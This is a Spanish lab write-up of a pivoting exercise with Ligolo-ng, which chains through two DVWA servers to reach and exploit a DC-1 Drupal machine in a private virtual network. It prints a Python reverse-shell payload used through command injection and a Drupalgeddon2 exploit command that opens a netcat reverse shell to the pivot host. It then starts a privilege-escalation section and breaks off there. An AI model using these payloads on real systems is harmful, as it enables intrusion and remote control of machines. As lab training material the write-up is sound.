Cyberlab - Pivoting con Ligolo
Objetivo
El objetivo principal es utilizar Ligolo-ng para pivotar sobre las redes internas y poder explotar la máquina DC1 que no está accesible desde la máquina atacante.
El laboratorio consta de 4 máquinas:
- Kali Linux
- Ubuntu Server con DVWA levantado X2
- Debian 9 DC1
Para la descarga de DC1 o instalación de DVWA revisar los siguientes enlaces:
Este entorno se ha desplegado en un servidor privado Proxmox pero su configuración en cuanto a redes puede ser similar en otros sistemas de virtualización como VMware o VirtualBox.
Confirguración y comprobación inicial
Redes privadas en Proxmox
Primero vamos a ver la configuración de redes que tenemos asignada en proxmox ya que en este caso no asignamos las ip mediante DHCP sino de forma manual y además cada red es privada.
Observamos cuatro redes configuradas donde “vmbr0” se trata de la configurada por defecto en proxmox y es un enlace puente al router local o gateway 192.168.100.1, que proporciona acceso a internet.
Todas las maquinas conectadas a este router seran visibles entre si por lo que hemos creado 3 redes privadas más en modo puente sin asignación de IP, gateway ni nada.
Posteriormente asignamos las IP a cada maquina de forma manual.
Entonces tenemos la siguiente asignación:
- Kali con interfaces vmbr0 y vmbr1 (vmbr0 solo si queremos acceso a internet)
- DVWA con interfaces vmbr1 y vmbr2
- DVWA 2 con interfaces vmbr2 y vmbr3
- DC1 con interfaz vmbr3
Comprobación de visibilidad
La máquina kali no es capaz de ver al objetivo DC1
Configuración en DVWA y DVWA 2
Escucha en local
Para terminar con su configuración necesitamos establecer un servicio de escucha en los puertos 8000 de ambas máquinas como servicio web local, es decir que solo sea accesible desde la propia máquina.
Añadimos la linea “Listen 127.0.0.1:8000” en ambas máquinas DVWA
Creamos el host virtual para atender las peticiones y su contenido.
Creamos el archivo “001-internal.conf” en ambas máquinas
1
2
3
sudo a2ensite 001-internal.conf
sudo systemctl reload apache2
Creamos un documento index.html con el siguiente contenido:
1
sudo nano index.html /var/www/internal
1
2
<h1>SERVIDOR WEB INTERNO</h1>
<p>Servicio web solo disponible localmente desde localhost</p>
Configuración DC1
En este caso en principio no tenemos acceso a DC1 por lo que no podemos modificar la configuración de red.
Podemos establecer que en la red privada vmbr3 asgine IP de forma automática y esto deberia asignarle una a DC1.
Otra opción es acceder de alguna forma a la máquina como root para configurar la dirección IP.
Sea cual sea la opción la máquina debe quedar visible para DVWA 2 y no para las demás.
Caso práctico
Imagina una red corporativa como una casa grande y complicada. Tú eres un investigador de seguridad (también llamado pentester) y tu objetivo es entrar en las habitaciones más importantes de esa casa, como la sala del tesoro o la sala de control.
Para entrar en estas habitaciones secretas, no puedes simplemente abrir la puerta principal. En su lugar, tienes que encontrar caminos alternativos, como ventanas abiertas, puertas traseras o conductos de ventilación. A esto se le llama “movimiento lateral”.
En el mundo de la informática, estos caminos alternativos son las vulnerabilidades en los sistemas. Cada host en la red es como una habitación, y cada vulnerabilidad es como una puerta o ventana. Al explotar estas vulnerabilidades, puedes moverte de un host a otra hasta llegar a tu objetivo final.
Ligolo es una herramienta que te ayuda a abrir estas puertas y ventanas. Es como una llave maestra que te permite crear túneles secretos entre diferentes computadoras. Estos túneles te permiten moverte de un punto a otro de la red de forma segura y discreta.
En este laboratorio, se practican estas técnicas de movimiento lateral en un entorno controlado.
Shell reversa y establecimiento de Ligolo-ng
Shell reversa en DVWA
Para comenzar vamos a crear una shell reversa en nuestro punto de entrada que se trata de la primera máquina DVWA.
Para esto hacemos uso de cualquiera de las vulnerabilidades que permitan esto dentro de DVWA.
En este caso vamos a usar la inyección de comandos:
1
export RHOST="192.168.10.100";export RPORT=9000;nohup python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'&
Se ha añadido el nohup en el payload para poder evitar que la interfaz web se quede inactiva y que desvincule el proceso de la shell de la aplicación web
Enumeramos los puertos de escucha en DVWA y encontramos un servicio web y un servidor local en 8000 y 3306
Transferencia Ligolo
Para poder acceder a los servicios anteriormente vistos necesitamos hacer un local port forwarding y para ello vamos a utilizar ligolo-ng.
Descargamos la version que corresponda con la arquitectura del sistema, el agente y el proxy:
1
2
tar -xzf Ligolo-ng_agent.tar.gz
tar -xzf Ligolo-ng_proxy.tar.gz
Proxy: Este es el componente que se ejecuta en tu máquina atacante (como Kali). Actúa como un servidor, esperando conexiones de los agentes. Es el punto central de tu operación de pivotaje.
Agent: Este componente se ejecuta en la máquina objetivo que deseas comprometer. Se conecta al proxy y establece un túnel seguro, permitiendo que el tráfico de tu máquina atacante sea redirigido a través de esa máquina.
Por lo tanto vamos a tranferir el agent al objetivo:
Local Port-Forwarding con Ligolo
Proxy server en kali
Esto crea una consola en la que podremos manejar varias sesiones dentro de nuestro C2.
El parámetro “-selfcert” indica que cree un certificado para el protocolo TLS.
Creamos además una interfaz nueva a la que llamaremos “cha-1” o “channel-1”
Agente en DVWA
Antes de poder ejecutar el binario en el servidor hay que dar permisos de ejecución:
1
chmod +x agent
Ahora si podemos establecer la conexión con el C2 usando el siguiente comando:
Debemos indicar el certificado TLS que generamos antes para que acepte la conexión
Tunel hacia DVWA
Escribimos session y damos enter
Con ifconfig verificamos la asignación de la interfaz cha-1 a la red que DVWA tiene compartida con DVWA 2
Indicamos todo el rango al que pertenece la red entre DVWA y DVWA 2 lo transmita a traves de es interfaz e iniciamos el tunel
Nota*
Si queremos redireccionar el tráfico local de la maquina DVWA para poder acceder al servicio en el puerto 8000 debemos hacer un “truco” que implementa lingolo.
El truco es añadir una redirección tal y como acabamos de hacer a la interfaz cha-1 pero con la ip 240.0.0.0/4
Ligolo tiene una característica integrada que te permite acceder a los puertos locales de la máquina agente conectada. Esto se logra utilizando un rango de direcciones IP especial y no utilizado: 240.0.0.0/4.
Cuando intentas acceder a una dirección IP dentro de este rango especial (por ejemplo, 240.0.0.1), Ligolo intercepta el tráfico.
En lugar de enviar el tráfico a su destino normal, Ligolo lo redirige automáticamente a la dirección IP local de la máquina agente conectada (generalmente 127.0.0.1). Esto crea efectivamente un túnel directo a los servicios locales del agente.
Ahí podemos ver la redirección añadida a cha-1
Si accedemos por lo tanto a la ruta donde levantamos el servicio en local:
Tenemos acceso a ese servicio web
Pivotando hacia DVWA 2
Ahora que ya tenemos creado el tunel hacia DVWA signifca que tenemos acceso a toda la red que comparte con DVWA 2 y, por lo tanto que podemos acceder a los servicios que ofrece DVWA 2.
Recordad que el tunel y la redirección ya esta activo y asignado por lo que ahora desde nuestro kali todo lo que hagamos apuntando a 192.168.15.0/24 pasará por el tunel hacia DVWA por lo que se hará en su red.
Observamos que hay dos IP dentro de la red la 15.10 pertenece a DVWA y la 15.20 pertenece a DVWA 2
Sabiendo esto podemos por lo tanto acceder al servicio en el puerto 80 de DVWA 2
Lo dejamos preparado para volver a inyectar el payload
Conexión desde DVWA 2
Necesitamos el agente en DVWA 2 así que volvemos a su interfaz en 192.168.15.20 puerto 80 para crear la shell reversa
Antes de crear la shell debemos indicar en la sesión que tenemos con DVWA que todo lo que sea recibido por el puerto 11601 de cualquier ip sea redireccionado de forma local en nuestra kali al puerto 4444
Creamos la redirección de puertos
Iniciamos la escucha en el puerto 4444 e inyectamos el payload de shell reversa en DVWA 2 teniendo en cuenta que debe apuntar a DVWA en el puerto donde ligolo está escuchando, 11601
Ahora necesitamos transferir el agente desde DVWA 1 a DVWA 2. Una vez hecho, antes de conectar el agente es necesario cerrar la redirección de puertos en kali y crear una nueva como se ve en la imagen
Establecer el tunel hacia DVWA 2
Una vez tenemos la session necesitamos crear una nueva interfaz para poder asignar el rango de IP entre DVWA 2 y DC1, para posteriormente asignar el rango de ip y así tener visible DC1.
Seleccionamos la sesion, creamos la interfaz, asignamos el rango de IP e iniciamos el tunel
Acceso y explotación a DC1
Localización
Para poder localizar el objetivo DC1 haremos un escaneo de host:
1
nmap -F 192.168.20.0-50
Vemos dos hosts DVWA 2 (192.168.20.10) y DC1 (192.168.20.20)
Explotación DC1
Tenemos el camino y vemos al objetivo, vamos a explotarlo.
Como ya sabemos DC1 cuenta con un servicio web Drupal que es vulnerable por lo que tras buscar por internet encontramos un PoC que nos puede servir.
Ahora que tenemos el payload vamos de nuevo a nuestra sesion con DVWA 2 en ligolo para crear una redirección igual que hicimos antes, todo lo que venga del puerto 11601 que lo redireccione al 9001 en local.
1
listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:9001 --tcp
Con esto listo vamos a explotar DC1 para ganar acceso.
En los parámetros de druppalgeddon indicamos como objetivo la IP de DC1 y como escucha la IP que corresponde a DVWA 2 dentro de la red compartida con DC1 y el puerto 11601 ya que es donde tenemos el tunel con ligolo.
1
python3 druppalgeddon2.py -h http://192.168.20.20 -c 'nohup nc -e /bin/bash 192.168.20.10 11601 &'
Estabilización y escalada de privilegios
Una vez tengamos acceso a DC1 es momento de estabilizar nuestra linea de comandos para que sea más estable y nos permita realizar más acciones.
Para esto vamos a usar el siguiente proceso:
1
2
3
4
5
6
7
8
9
python -c 'import pty; pty.spawn('/bin/bash')'
export TERM=xterm
Pulsamos CTRL + Z
En kali : stty raw -echo; fg
Enter y luego enter de nuevo
Ya tenemos la shell estabilizada y la primera flag
Ahora vamos a escalar los privilegios. Como es una maquina que ya cuenta con muchas guias vamos a abreviar un poco.
Si ejecutamos algun programa como linpeas para obtener que privilegios y otros datos tenemos con el usuario www-data encontramos que el usuario puede ejecutar el binario find como administrador por lo que teniendo esto en cuenta vamos a hacer lo siguiente: